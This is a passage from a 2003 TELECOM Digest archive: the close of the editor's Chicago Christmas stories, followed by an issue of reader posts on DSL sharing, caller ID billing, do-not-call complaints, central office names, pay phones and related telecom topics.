both laughed again and disappeared upward to the agent's booth where they had come from. At track level, the conductor (who had more or less taken charge of the scene; the motorman was still a nervous wreck by what had happened), talked into his radio and a few seconds later the public address system started talking again: ""At the count of ten, power will be restored in the subway; leave the tracks now; ten -- nine -- eight -- seven --"" (and backwards to zero), then after saying 'zero' he said, ""I repeat, power is being restored, better get out of the way"". The conductor said something in his radio, and we heard the soft hum of the motors as they turned on and the lights in the train went off of battery stand by and back on regular service. Passengers began to crowd and push into the first train, even coming from a train further back thinking they would get home now at last. By now there were two more trains backed up there (five or six in total waiting) all *mostly empty* except for the first train, which was crowded like the poverbial can of sardines. Packed, standing/squeezing room only. The people who had stayed on the train during the entire affair looked around smugly; they were the ones who still had seats, twice or thrice as many of their fellow passengers were standing in the aisles or still trying to squeeze in the doorway, like frantic animals anxious to get to their warm homes and supper. ""All aboard, people, we are running twenty minutes late, step lively please, I don't want to tell you twice"", said the conductor, as people pushed each other out of the way to get on the train. The central dispatcher had forgotten he was still on the overhead loud speaker; he *thought* he was talking on the telephone to the conductor. Speaking (he thinks) to the conductor and motorman only on the telephone in each car they use, dispatch says, ""To clear things up, train (number) run express to the end of the line at Howard. Conductor, repeat the annoucement to the passengers"". No need for him to say that, the passengers all heard it, and began storming back off the train, like angry wasps whose nest had been molested. None the less, the conductor, a true company man, repeated it in a feeble voice through *his* loudspeaker to the passengers, 'this train will run express to Howard ... Howard next stop' ... People who had been sitting smugly had to get up, leave their seats and fight to get to the door; their seats were not vacated two seconds until someone else moved in. Now there is a huge crowd standing on the platform or moving toward train number two ... the train at the front had pulled out. As to be expected, the conductor on train two also chatted on the telephone with dispatch, and soon came the announcement *he* would run express to Howard Street also. Passengers who had fought and managed to get a seat on train two had to get up and leave their seats again and find the exit door. The third and fourth trains in the backlog were instructed to run express to some interim station, then the fifth or sixth train (whichever one was the last, and in essence only a minute or two late) ran normally. I *knew* what the routine would be by this point and decided to sit on the bench there at track level and wait it out. When the crowds waiting had thinned out by this point and all the trains were back on schedule with intervals between them, along came the station janitor, with his water hose and squee-jee mop. On the radio, but to no one in particular, he mutters, ""man on the tracks at Randolph Street"" and climbs down there. One would think no one had heard him, but in fact the dispatcher on the radio did hear him and I suppose passed along the word over the telephone to train motormen who would be along presently. The janitor hoses the blood and whatever was left over from the 'incident' down the sewer there, uses his squee-jee device to clean up a little there, then hastily gets back up on the platform and dissappears. When the next train came through a minute or so later, I took it home, but all the way home, I thought about what had happened, and wondered what had been so painful to the man that he had chosen to take the path he had. I still think about it today sometimes. ================================== Three or four nights later was Christmas Eve. I had a part time job as an audio/sound technician person for Chicago Temple, a rather grandiose, done in French provincial church downtown. They proposed to continue their 137 year old (at that time) tradition of singing Christmas Carols directly across the street from their building in the Richard Daley Plaza area. They looked with much consternation as the temperature got lower, and lower and lower the two days before the evening of December 24. Finally, when it got to -27 degrees that evening, a number of people said call it off, cancel it. But hardy souls prevailed and said it *would go on as in the past*. No need to break a tradition which had started in the 1840's and continued to that year. The decision they reached was at 8:00 PM they would go outside, across the street and sing *one stanza* of 'Hark the Herald Angels Sing' then go back inside. I was outside in the cold a few minutes longer than anyone else; I had to set up the tape recording machine, and take it down and back inside. ==================================== The next day was Christmas; some of my relatives came over for the day to have dinner, etc. By mid-afternoon, the temperature had actually climbed up to five degrees *above* zero. Poet Emily Dickinson said one time that 'God gave us our relatives; thank God we can choose our friends.' and never was there a truer message. The family all got on the way back home by about 4 PM, and I set off to meet some friends of mine that evening at Berghoff's Restaurant downtown. I took the subway downtown, and got off at Adams Street, a main downtown area. As I came upstairs to the street level, the thing I noticed was the entire intersection and for a block going west on Adams Street was like a frozen lake of water. Over near the restaurant, I saw a truck parked there which said on its side, 'City of Chicago, Water Distribution' and next to it, a 'keep the city clean' trash can had been pulled over, filled with lumber and trash, and set on fire. Two men were standing there at the fire, trying to stay warm. I found out they were the supervisors of the men nearby who were in a *large, deep* hole in the street; about fifteen feet deep, sort of wide. The two men who were down there in the hole were wearing hip boots, and standing in water which swirled around their legs. They had tools and were doing some digging or replacing of pipe, I could not tell which. I was a bit fascinated by it and the supervisor noticed me there, and said ""would you like to work here? I have a tool about the right size for you,"" and he reached over to back of the truck. I assured him I was just watching, and asked him ""How much do you pay those guys?"" His answer was, ""twenty dollars per hour, and this being Christmas they get double-time pay from the City, and the union requires that there be two men on the job for safety reasons."" He continued, ""I guess this 'heat wave' we are having today caused the problem. A main pipeline got frozen and broke, the City lost a million gallons of water overnight last night."" He called me 'governor'. Very shyly, he reached inside his inside coat pocket and pulled out a flask of whiskey. He took a swig, then handed it to his partner who also drank deeply. Then he glanced at me, and offered the flask, inviting me to join him and his partner there. I took a drink also, and we stood there for a couple minutes more talking. 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End of TELECOM Digest V22 #213 ****************************** >From editor@telecom-digest.org Thu Jan 2 02:16:02 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h027G2X22327; Thu, 2 Jan 2003 02:16:02 -0500 (EST) Date: Thu, 2 Jan 2003 02:16:02 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301020716.h027G2X22327@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #214 TELECOM Digest Thu, 2 Jan 2003 02:16:00 EST Volume 22 : Issue 214 Inside This Issue: Editor: Patrick A. Townson Reconciling the CD Requests (TELECOM Digest Editor) Member-Accessible DSL in a Community Rec Center? (AES/newspost) FCC Grants InterLATA LD to Qwest in Various States (Sam Etler) Re: So Many Holes, So Few Hacks (Gene) Free Caller ID? (John) AOL/Telco (Mis)Billing, was Re: Better Telephone Company (Danny Burstein) Requiem for the Disappearing Pay Phone (Eric De Mund) Broadcast School Reunion (Janet Leonard) Re: A Better Telephone Company (John R. Levine) Re: Do Not Call Lists and AT&T - How to Proceed With Lawsuit (AES/news) Re: Do Not Call Lists and AT&T - How to Proceed With Lawsuit (Stan) Re: Do Not Call Lists and AT&T - How to Proceed With Lawsuit (J Kelly) Re: Pacific Bell Central Office Names (Tony Pelliccio) Re: Pacific Bell Central Office Names (Jeff Moss) Re: A Christmas Carol (Mark Brader) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Wed, 1 Jan 2003 17:28:18 EST From: TELECOM Digest Editor Subject: Reconciling the CD Requests On Wednesday, Joey Lindstrom and I exchanged *much* correspondence regards the CD orders. There have been a large number of CDs sent out, and in fact there were quite a few on Tuesday/Wednesday alone. By now, *everyone* should have a CD who requested one, with the exception of people who *mailed in their requests via snail mail up to around December 15* or they will be arriving in the next day or two in that 'gray area' between December 1 and 15. Mail gets here when it gets here although I tell Joey Lindstrom immediatly on receipt of the mail. Regards PayPal, orders received up to around December 20 *may* in fact be there already, or certainly will arrive in a day or two. Basically, any orders from anytime up to early/mid-December should be in your hands. Anything before the Christmas mail rush. The rest of the orders (such as the past few days) should be in your hands if not by today or tomorrow then certainly by the fifth of the month more or less. **Keep me posted on arrival/non-arrival, etc please.** PAT ------------------------------ From: AES/newspost Subject: Member-Accessible DSL in a Community Rec Center? Date: Wed, 01 Jan 2003 14:11:54 -0800 We're thinking about trying to establish an elementary broadband internet connection that could be accessed and shared by unit owners inside the recreation center of a vacation townhouse community. The community has120 units total, but only a small fraction of these might use the service. One proposal is the following: * Obtain DSL (or maybe cable modem) service into the manager's private office in the rec center, thus having it available for routine use by the manager. * In addition, run one or a couple of Ethernet ports (or maybe wi-fi service) into the adjoining public area of the rec center, thereby allowing unit owners who have signed up with the association to bring over their laptops and connect to the same service (including during times when the manager's office is closed). Expected total usage would be small, both by manager and owners. This is a largely nonresidential community; vacationing owners would probably only drop over occasionally to check mail on their home accounts or do a bit of web surfing. We'd like to keep the system simple (one DSL line, one ISP account, no individual email addresses or accounts, no usage charges, and in general minimal bookkeeping and record keeping at all levels). At the same time we'd like to try to limit the public access to authorized owners only (since they'll probably be chipping in to cover the annual costs), and not have the public ports turn into a wide open gateway for local teenagers or computer gamers. Any ideas on these latter points? Are there inexpensive DSL routers, switches, firewalls, or gateways that could store a small set of passwords (maybe 20 of them) for obtaining public access from the public ports through to the DSL line? (I imagine this could all be done in software within the manager's computer, but he's not a computer jock and it's only an elderly PC; something independent of the manager's machine would be desirable.) Any ideas appreciated. Email cc of responses appreciated. ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ Date: Wed, 1 Jan 2003 14:02:38 CST From: Sam Etler Subject: FCC Grants InterLATA LD to Qwest in Various States Effective 1/2/2003, the FCC has granted Qwest the rights to provide InterLATA services in Colorado, Idaho, Iowa, Montana, Nebraska, North Dakota, Utah, Washington, and Wyoming. The decisions are summarized in the Federal Register at 68 FR 119 (also FCC Docket 02-332). The Federal Register citation can be found linked from: http://www.access.gpo.gov/su_docs/fedreg/a030102c.html sam ------------------------------ From: Gene Subject: Re: So Many Holes, So Few Hacks Date: 01 Jan 2003 20:15:51 GMT Organization: Concentric Internet Services Reply-To: Gene They do not spend enough time on it. If the industry doesn't do it, our enemies will. Being someone who manages web sites and actual servers for multiple companies (some large and some very small), I can definitely guarantee you that hackers routinely try the Microsoft IIS hacks to gain access to public servers. I even have one obscure domain name that maybe gets 15 hits a day on average, and at least 5 of those hits each day are people trying to run Windows commands by exploiting potential security holes. I have much more popular servers that are continuously bombarbed with the same exact hack attempts. It is almost like there are a group of people on the Internet who are running a crawler across the entire web using their own private search engine to try and hack every site on the web. If you are running Microsoft IIS on the Internet, you had better make sure whoever is managing your server is routinely watching and analyzing log files and double-checking and triple-checking that their sites are not being hacked: new directories and files appearing on your servers, etc. I've seen some public web servers that hackers quietly turned into public file servers to distribute files. ------------------------------ From: jriker1@yahoo.com (John) Subject: Free Caller ID? Date: 1 Jan 2003 13:59:51 -0800 Organization: http://groups.google.com/ I live in Illinois and we have Ameritech for our local phone company. My friend recently got one of those Panasonic 2.4 GHz phones with caller id on it. He did not order the service or anything, yet our names and numbers are showing up on their phone. Any idea why this is? Thanks. JR [TELECOM Digest Editor's Note: Telco -- especially Ameritech -- does not give anything for free. Telco -- especially Ameritech -- is notorious about accounting and billing errors. Has your friend yet received any bills at this new phone number? If not, watch and see what the bill reflects when it begins arriving each month. If he is already getting bills on the number, and caller ID is not one of the items on the bill, then he should consider himself lucky, and hope that one of their 'routine audits' from time to time does not eventually catch up with the error. Needless to say, if he ever moves to new premises or for any other reason invokes a service rep to look at and examine his bill, his 'free ride' on caller ID may come to an end. If a routine audit does eventually find the error, most telcos have a policy of only back-billing for a year, and sometimes they wil write it off and start fresh. I had this happen to me about twenty years ago. I was living in a near-north side apartment hotel in Chicago with switchboard service for the tenants. I ordered a private phone for my apartment. It took a *full year* before Illinois Bell decided to start billing me for it. And that was only because some damn phreak made a couple of phraud long distance calls which were coin-rated and they had to bill me. I had what Bell referred to as 'unlimited extended call-pack' which meant there were never any additional charges to anywhere in the old area 312. I was *most careful* never to dial a long distance call on that phone. Anyway, some phreak made a credit card call or somehow billed my number. When the charges finally came through the accounting department, no record of my number was found; the charges went into a suspense ledger pending an investigator personally looking at the charges and trying to figure them out. This time the investigator dialed my number -- expecting to get an intercept, no such number message -- but instead it rang open on my end (I was not at home), so the investigator called the plant or central office and asked them what they knew. He was told it had been in service for about a year, and that apparently 'someone' had never sent the paperwork to the accounting office; only to plant to get the number turned on. Lazy, incompetent service reps! The investigator saw to it the paperwork got into accounting, and he personally back-billed me for service for the eleven months the phone had been there to date. So you can never tell for sure about these things. Your friend may or may not ever get a bill for the caller ID service. But better tell him to not *ever* get into an argument with some smart-mouth service rep who takes it on herself to review his service entirely. PAT] ------------------------------ From: danny burstein Subject: AOL/Telco (Mis)Billing, was Re: A Better Telephone Company Date: Wed, 1 Jan 2003 06:21:48 UTC Organization: PANIX Public Access Internet and UNIX, NYC [ additions added at end ] In david_esan@hotmail.com (David Esan) writes: > After the recent complaints about PacHell, SBC, etc., I wondered about > our local telephone company Frontier, now owned by someone else, once > part of Global Crossing, but once an independent company, Rochester > Telephone. Well, today this article appeared in the local paper. > You will note that no one can explain, or accept blame, for the > misdialing. But at least they are accepting responsibility. > =============== > AOL, Frontier to give refunds > N.Y. arranges payments to affected customers > By Michael Wentzel > Democrat and Chronicle > (December 31, 2002) Frontier customers hit with shockingly high > long-distance bills while connecting to America Online will get > refunds or credits through an agreement forged by the New York state > Attorney General's Office. > See the rest at: http://www.democratandchronicle.com/biznews/1231story1_business.shtml First, of course, no one's willing to push the true solution to this repeated problem, which is a rationalization of telco rates. In this day and age there's no jusitification for any sort of long distnace charges. (Well, aside from making money for the telcos). Anyway, given those constraints, NYS's Attorney General did well. Quoting from the press release: ""Attorney General Eliot Spitzer today announced that his office has reached an agreement with America Online, Inc. (AOL) and Frontier Telephone Company of Rochester, Inc. (Frontier) to provide $200,000 in refunds and credits to over 400 Rochester-area America On Line (AOL) customers for long distance charges they incurred last winter while using the Internet. http://www.oag.state.ny.us/press/2002/dec/dec30a_02.html Oh, he's also got one describing a settlement in which the credit card company ""First USA"" will cut back, at least a bit, on sleaziness: ""Attorney General Eliot Spitzer today announced a settlement that will provide new protections against misleading telemarketing campaigns for more than 53 million credit card holders. ""First USA Bank N.A. - the largest issuer of Visa credit cards - and also known as Bank One Delaware NA, has agreed to implement broad reforms in its relationships with third-party vendors to ensure that non-deceptive marketing campaigns are used in soliciting the bank's credit card holders. Specifically, under the agreement, First USA must prohibit vendors from engaging in deceptive solicitations. http://www.oag.state.ny.us/press/2002/dec/dec31a_02.html Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ Date: Wed, 1 Jan 2003 00:41:57 -0800 From: Eric De Mund Subject: Requiem for the Disappearing Pay Phone Reply-To: Eric De Mund Organization: Ixian Systems, Inc. Pat, As seen on Slashdot. Forwarded FYI. Requiem for the Disappearing Pay Phone from the endangered-species dept. posted by timothy[1] on Monday December 30, @21:38 (news) http://slashdot.org/article.pl?sid=02/12/31/0129208 StarEmperor[2] writes ""This Washington Post article[3] describes the steady disappearance of pay phones as cell phones become more commonplace. Many pay phones, which used to generate hundreds of dollars per month in revenue, are now used so infrequently that they cost money to operate. I wonder what kind of environmental hazard is posed by junking thousands of pay phones?"" [ensuing discussion elided] Links: 1. http://www.monkey.org/~timothy/ 2. http://www.starempires.com/ 3. http://www.washingtonpost.com/wp-dyn/articles/A49017-2002Dec28.html Happy New Year to you and yours, and thanks for another year of the TELECOM Digest. ""Chess is a cramped game. It is like a knife fight in a phone booth."" --Wayne Folta Eric De Mund | Ixian Systems, Inc. | 53 49 B2 23 AF 6C 20 81 http://www.ixian.com/ead/ | Mountain View, CA | ED DD 4C 81 AA C9 D1 A5 ------------------------------ From: jml@jagat.com (Janet Leonard) Subject: Broadcast School Reunion Date: Thu, 2 Jan 2003 01:09:22 -0500 Hi Patrick, Glad to find your website. I'm hoping you might know some other broadcasters that went to Grahm Jr College in Boston. Many radio personalities attended Grahm. The college closed in 1979 and we're trying to contact any former students for a reunion in Boston October 10-13, 2003. You may wish to look at the website http://hometown.aol.com/mhasson/GrahmHome.html also checkwww.northeastairchecks.com and grahm.northeastairchecks.com Hope to hear from you. Janet Leonard jml@jagat.com ------------------------------ Date: 1 Jan 2003 12:13:53 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: A Better Telephone Company Organization: I.E.C.C., Trumansburg NY USA > You will note that no one can explain, or accept blame, for the > misdialing. But at least they are accepting responsibility. > =============== > AOL, Frontier to give refunds > N.Y. arranges payments to affected customers Most peculiar. This happens a lot when there's an area code split, software that automatically selects the number to call doesn't realize that the user's area code has changed, so it selects the closest number in the old area code. In this case, it was a big problem because Rochester to Buffalo is an expensive inter-LATA call. If this was what happened (and I suspect it was), it's 100% AOL's fault. On the other hand, it's just barely possible that Frontier screwed up the reprogramming of some of its switches so that calls dialed without an area code were misrouted to Buffalo, so they figured it was cheaper to pay to make the problem go away than fester in court for years trying to make sense of mountains of logs and phone bills. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: AES/newspost Subject: Re: Do Not Call Lists and AT&T -- How to Proceed With a Lawsuit Date: Wed, 01 Jan 2003 14:21:15 -0800 In article , Gene wrote: > For years, I've told AT&T week after week not to call our home phone > number, and week after week we continue to get calls from from this > firm. The latest being this morning from their local service call > center in St. Louis. 1.800.288.2747 > What I want to do is proceed with a civil lawsuit against AT&T for > damages, and to get fines applied to AT&T for continuing to make the > calls after I explicitly tell them to put us on their do not call > list. Supports my long-held view that Do Not Call lists are a basically unworkable idea, for multiple reasons, beginning with the fact that enforcement ends up as an expensive, time-consuming, and mostly hopeless burden on the callee. I suggest the only realistic solution for this whole problem is legislation requiring that all telemarketing, etc., calls be made using Caller ID and carrying a distinctive area code set aside for this purpose. Recipients could then easily protect themselves by filtering and rejecting such calls, before the phone ever rings. (This won't ever be implemented, however -- *because it would work*.) ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ From: Stan Subject: Re: Do Not Call Lists and AT&T -- How to Proceed With a Lawsuit Date: Wed, 01 Jan 2003 08:10:29 GMT Organization: RoadRunner - Carolina Gene wrote in message news:telecom22.213.6@telecom-digest.org... > Question: Does anyone know the correct steps to file complaints > against AT&T? Last year (2002), I filed two complaints with the FCC regarding AT&T's blatant disregard for 'do not call' requests on my two phone lines. The FCC took notice and action and I received some nice form letters from both parties regarding my addition to AT&T's 'do not call' list. Form list or no, it did finally work. To file a complaint, use this link to the FCC web site: http://www.fcc.gov/cgb/complaints.html -Stan ------------------------------ From: J Kelly Subject: Re: Do Not Call Lists and AT&T -- How to Proceed With a Lawsuit Date: Wed, 01 Jan 2003 09:33:12 -0600 Organization: pileofmonkeycrap On 31 Dec 2002 19:28:12 GMT, Gene wrote: > For years, I've told AT&T week after week not to call our home phone > number, and week after week we continue to get calls from from this > firm. The latest being this morning from their local service call > center in St. Louis. 1.800.288.2747 > What I want to do is proceed with a civil lawsuit against AT&T for > damages, and to get fines applied to AT&T for continuing to make the > calls after I explicitly tell them to put us on their do not call > list. > Question: Does anyone know of any good web sites that explain similar > successful legal action against AT&T? > Question: Does anyone know the correct steps to file complaints > against AT&T? Check out the private citizen website http://www.privatecitizen.com They have info available to sue telemarketers. You may have to join or pay for their book to get the info. I signed up with them a couple months ago and telemarketing calls have pretty much stopped here, I was getting 10-12 ""hang-up"" calls a day before joining. About a month after joining they seem to have stopped. Anyone know who the hell US Telecom is? That is one outfit that I have had trouble with in the recent past. Whenever I ask for a copy of their do not call policy I mysteriously get cut off. They seem to have stopped calling about 3 weeks ago as well, so maybe they are on the list Private Citizen maintains. ------------------------------ From: Tony Pelliccio Subject: Re: Pacific Bell Central Office Names Organization: The Ace Tomatoe and Cement Company Date: Wed, 01 Jan 2003 08:47:20 GMT In article , johnl@iecc.com says... >> OT: Does anyone know if its possible to get a tour inside a Central >> Office? > It entirely depends on the telco. My small local ILEC has an annual > open house with CO tour. Down the road, Verizon seems not to let > anyone into their COs ever without suitable badges. Yeah, Verizon is petrified to let anyone see those humming boxes. I did get a chance to look at Brooks Fiber's 5ESS some times ago. It just isn't the same as the old mechanical beauties. Yeah, they're feature rich but they just don't make em' like they used to. In article , sjsobol@JustThe.net says: > Jeff Moss wrote: >> I was at my dad's office last week (they are an Ameritech Distributor) >> and I threw away tons of Ameritech papers. There was a list of the >> Cleveland area Central offices. I didnt keep it but I remember they >> used really odd codes ex. Beachwood (30 sec away from my house) would >> be BCHW1023i0 or something. > http://dslreports.com/coinfo Verizon uses nice simplistic names for switches here in RI. PRVDRIWA is the switch on Washington Street in downtown Providence. PRVDRIBR is the swtich on Broad Street on the southern side of the city. NPRVRIMS is the switch on Mineral Spring Avenue in North Providence. EPRVRINB is the swtich on North Broadway in East Providence. Tony ------------------------------ From: jeffmoss26@adelphia.net (Jeff Moss) Subject: Re: Pacific Bell Central Office Names Date: 1 Jan 2003 07:16:18 -0800 Organization: http://groups.google.com/ Thanks for the info. I am guessing that the one near me is a 5ESS. They just finished adding space to the CO so competitors could put equipment in there. I asked a tech who was at a job I did with my dad's company. I could ask someone at his office if they have any contacts to get a tour. ------------------------------ Subject: Re: A Christmas Carol Date: Wed, 1 Jan 2003 02:45:56 EST From: msb@vex.net (Mark Brader) Pat writes: > I saw a train waiting there and ran the rest of the way down the > stairs in order to get on. I got on, the doors did not close, and > the train just sat there. Getting off and looking up the track, I > saw there were actually three trains ahead of us, all sitting and > waiting. I 'assumed' by walking ahead to the earlier trains I could > ultimately get home earlier ... For those not familiar with the Chicago transit system, this may sound a bit odd -- as though Pat was walking through the tunnel between stations. Actually, there are two subway lines in the city center that each have a *continuous* platform alongside the tracks for about 3,000 feet. Normally each train makes 3 or 4 stops along this section. This arrangement gives the CTA maximum flexibility: street entrances can be located all along the section, independent of the actual stops, and the number of stops can even be changed if they think it desirable. Thanks for the stories, Pat. Mark Brader | Caution msb@vex.net | Do not run on the stairs Toronto | Use the hand rail -- notice at British train station My text in this article is in the public domain. [TELECOM Digest Editor's Note: You are quite welcome, Mark. There are all sorts of stories about the hicago ransit trocity, for example what slum landlords they are regards the lack of upkeep at their non-transit use facilities (such as buildings they own but rent out which formerly had been transit facilities, or buildings which are located underneath the elevated tracks in various areas.) They've had two of their repair shops burn down under mysterious circumstances in the past few years. Did you ever see what a dump! a complete wreck the old 'Uptown Station' building at Wilson Avenue has become since CTA took it over from North Shore Railroad line forty years ago? CTA has not put five cents worth of work in the property since. What spare money they get (they are always crying poor-mouth since back in the days when fares were five cents to last year when the fares got up to a dollar seventy five cents or so.) When the legislature gives them a little money, it immediatly goes into fancy dinners and chauffer driven limousines for their executives, none of whom would ever be caught dead riding on a CTA train or bus. Of course, its all just politics as usual in the heavily Democratic-controlled party in Chicago; a very corrupt organization in a very corrupt city. More and more citizens there are referring to it as the Chicago Transit Atrocity rather than 'Authority'; it may soon be going the way of the CHA -- Chicago Housing Atrocity -- into federal receivership, until/ unless they get things in order. God, I am *so glad* to be done with TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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For additional information on PIR and the .ORG registry, please visit www.PIR.org. ------------------------------ From: bgoodin@unex.ucla.edu Subject: UCLA Winter Short Courses in Communications Engineering Date: Thu, 02 Jan 2003 11:32:09 -0800 Organization: University of California, Los Angeles This winter, UCLA Extension will present the following communications engineering short courses on the UCLA campus in Los Angeles. January 6-10, 2003, ""Digital Signal Processing: Theory, Algorithms, and Implementation"". The instructor is Robert W. Stewart, PhD, Faculty Member, Department of Electronic and Electrical Engineering, University of Strathclyde, Glasgow, United Kingdom, $1995. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7070.cfm January 13-17, 2003, ""Satellite Communications Networks and Applications: Selecting the Right Technology and Methodology"". The instructors are Bruce Elbert, MSEE, MBA, Managing Director, Application Strategy Consulting, and David J. Bell, MSEE, Senior Member Technical Staff, Jet Propulsion Laboratory, $1995. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7073.cfm January 13-17, 2003, ""Digital Avionics Systems"". The instructors are Cary R. Spitzer, MS, President, AvioniCon, Inc.; Robert P. Lyons, Jr., MSEE, Colonel, USAF, and Deputy Director, Air Force Material Command Acquisition Center of Excellence; and Michael J. Morgan, Vice President, Advanced System Development, Avidyne, Inc., $1995. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7072.cfm January 22-24, 2003, ""Using Design Patterns, Frameworks, and CORBA to Develop Object-Oriented Communication Systems"". The instructor is Douglas C. Schmidt, PhD, Associate Professor, Computer Science Department, University of California, Irvine, $1395. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7076.cfm January 27-30, 2003, ""Practical Cryptography for Computer and Network Security"". The instructors are Vwani P. Roychowdhury, PhD, Professor, Electrical Engineering Department, UCLA; and P. Oscar Boykin, PhD, Research Scientist, Electrical Engineering Department, UCLA, $1695. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7078.cfm February 3-6, 2003, ""Satellite-Based Communications, Navigation, and Surveillance for Air Traffic Management (CNS/ATM)"". The instructors are Cary R. Spitzer, MS, President, AvioniCon, Inc.; Wayne Aleshire, Captain, United Airlines; Chris Benich, Director, CNS/ATM Solutions Center of Excellence, Honeywell Aerospace Electronic Systems; and Roy T. Oishi, ARINC Fellow and Chairman, Airlines Electronic Engineering Committee, ARINC, Inc., $1695. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7080.cfm February 10-12, 2003, ""Field Programmable Gate Arrays for Digital Signal Processing and Communications"". The instructor is Robert W. Stewart, PhD, Faculty Member, Department of Electronic and Electrical Engineering, University of Strathclyde, Glasgow, United Kingdom, $1395. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7393.cfm February 13-14, 2003, ""DSP-Based Carrier and Timing Recovery Techniques in Digital Modems"". The instructor is Fred Harris, MS, Cubic Signal Processing Chair Professor of Electrical and Computer Engineering, San Diego State University, $1095. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7079.cfm February 20-21, 2003, ""Satellite Link Budget Training Using SatMaster Pro Software"". The instructor is Bruce R. Elbert, MSEE, MBA, President, Application Technology Strategy, Inc., $1095. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7828.cfm February 24-25, 2003, ""Space-Time Coding"". The instructors are Michael P. Fitz, PhD, Professor, Electrical Engineering Department, UCLA; Hesham El Gamal, PhD, Assistant Professor, Electrical Engineering Department, Ohio State University, Columbus; and Giuseppe Caire, PhD, Professor, Department of Mobile Communications, Institute Eurecom, Sophia-Antipolis, France, $1095. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7394.cfm February 26-28, 2003, ""Wireless Sensor Networks and Their Tactical Applications"". The instructors are William J. Kaiser, PhD, Professor, Electrical Engineering Department, UCLA; William M. Merrill, PhD, Senior Development Engineer, Sensoria Corporation; Frederic Newberg, PhD, Senior Design Engineer, Sensoria Corporation; Greg Pottie, PhD, Professor, Electrical Engineering Department, UCLA; and Kathy Sohrabi, PhD, Senior Development Engineer, Sensoria Corporation, $1395. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7436.cfm March 3-4, 2003, ""System Modeling and Diagnostics Using Bayesian Networks"". The instructor is Adnan Darwiche, PhD, Assistant Professor, Computer Science Department, UCLA, $1095. http://www.uclaextension.org/unexVirtual.cfm?d=/shortcourses/winter2003/03WiN7086.cfm For additional information and complete descriptions of all short courses, please visit our website, http://uclaextension.org/shortcourses/, or: (310) 825-3344 phone (310) 206-2815 fax shortcourses@uclaextension.org All of these courses may also be presented on-site at company locations. ------------------------------ From: jbl Subject: Re: Pacific Bell Central Office Names Date: Wed, 01 Jan 2003 23:17:23 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , John Higdon wrote: > In article , > jeffmoss26@adelphia.net (Jeff Moss) wrote: >> OT: Does anyone know if its possible to get a tour inside a Central >> Office? > It is a lot harder than it used to be. For one thing, staff cutbacks > by the ILECs have left few people available to conduct such tours. > I would imagine in this post 9/11 world, security is probably > another issue. > That said, I can tell you that tours of central offices ain't what > they used to be in terms of excitement.... In the early days of the ARPAnet we at BBN were doing a lot of business with the engineers at various long-lines facilities, particularly in Boston at the AT&T Boston-5 test board. My colleague and I were interested in getting a tour of the workings, and went to the guy who was more or less our liaison to AT&T (this was Bob Kahn) to see if he could arrange something. He suggested that my colleague and I should just talk to our pals at Boston-5 directly and not involve any higher-ups in either company. The head engineer there agreed, provided we would also show them what we were doing too (the idea of being able to remotely monitor and test fifteen independent wideband lines all around the country from one place in Cambridge was completely new and bewildering to them in 1970-71). We got a great tour, and they had a good time too. Hmmm. And now Verizon probably owns the building that Boston-5 was in, though not of course that long-lines operation, and BBN is part of Verizon. Who'd 'a' thought? JBL ------------------------------ From: jbl Subject: Re: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) Date: Wed, 01 Jan 2003 23:23:45 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , Linc Madison wrote: > I've had a Sprint PCS phone, specifically a Samsung SCH-3500, for > almost three years now. In those three years, I have had two occasions > to attempt an outgoing call while outside Sprint's network. Both > times, the signal meter indicated I had a strong signal, and I did > everything the phone's manual said to do in order to make a roaming > call, but the calls never connected. I also just did a test here in > San Francisco with the same results. In addition, I also attempted an > incoming call while the phone was in analog roaming mode. It worked for me on my phone in New Hampshire once or twice. In Arizona, where coverage was much sparser, I was still able to connect to services. However Sprint at the time did not have roaming contracts where I was (and there were and are lots of places where Sprint had no coverage). Connecting to services meant that I could have dialed 911 if I'd needed to; but when 